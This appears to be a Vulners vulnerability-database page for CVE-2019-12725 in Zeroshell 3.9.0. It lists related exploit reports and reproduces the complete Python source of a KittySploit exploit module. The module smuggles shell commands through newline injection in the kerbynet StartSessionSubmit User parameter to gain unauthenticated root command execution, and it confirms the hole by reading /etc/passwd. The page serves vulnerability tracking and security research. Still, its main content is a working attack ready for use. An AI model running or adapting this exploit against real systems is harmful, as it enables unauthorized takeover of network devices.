Zeroshell kerbynet RCE (CVE-2019-12725)
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| ZeroShell 3.9.0 - (cgi-bin/kerbynet) Remote Root Command Injection Exploit | 24 Nov 202000:00 | – | zdt | |
| ZeroShell 3.9.0 - Remote Command Execution Exploit | 13 May 202100:00 | – | zdt | |
| Exploit for OS Command Injection in Zeroshell | 13 Jun 202123:57 | – | githubexploit | |
| Exploit for OS Command Injection in Zeroshell | 13 Jun 202123:57 | – | githubexploit | |
| Exploit for OS Command Injection in Zeroshell | 22 May 202105:06 | – | githubexploit | |
| Exploit for OS Command Injection in Zeroshell | 27 Apr 202103:36 | – | githubexploit | |
| CVE-2019-12725 | 19 Jul 201900:00 | – | attackerkb | |
| CVE-2019-12725 | 19 Jul 202019:18 | – | circl | |
| Zeroshell Remote Command Execution Vulnerability | 23 Jul 201900:00 | – | cnvd | |
| Zeroshell Remote Code Execution (CVE-2019-12725) | 9 Sep 202000:00 | – | checkpoint_advisories |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zeroshell kerbynet command injection (CVE-2019-12725)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Zeroshell kerbynet RCE (CVE-2019-12725)',
'description': (
'Exploits CVE-2019-12725 in Zeroshell 3.9.0: newline injection in the User '
'parameter of kerbynet StartSessionSubmit yields unauthenticated RCE.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2019-12725'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2019-12725',
],
'tags': ['zeroshell', 'router', 'rce', 'cmdi', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2019_12725_detect'],
},
},
}
def execute(self, cmd: str) -> str:
user = f"'\n{cmd}\n'"
path = (
'/cgi-bin/kerbynet?Action=StartSessionSubmit'
f'&User={urllib.parse.quote(user, safe="")}&PW='
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2019-12725 Zeroshell RCE confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Zeroshell injection not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.3High risk
Vulners AI Score8.3
CVSS 39.8
CVSS 210
EPSS0.89849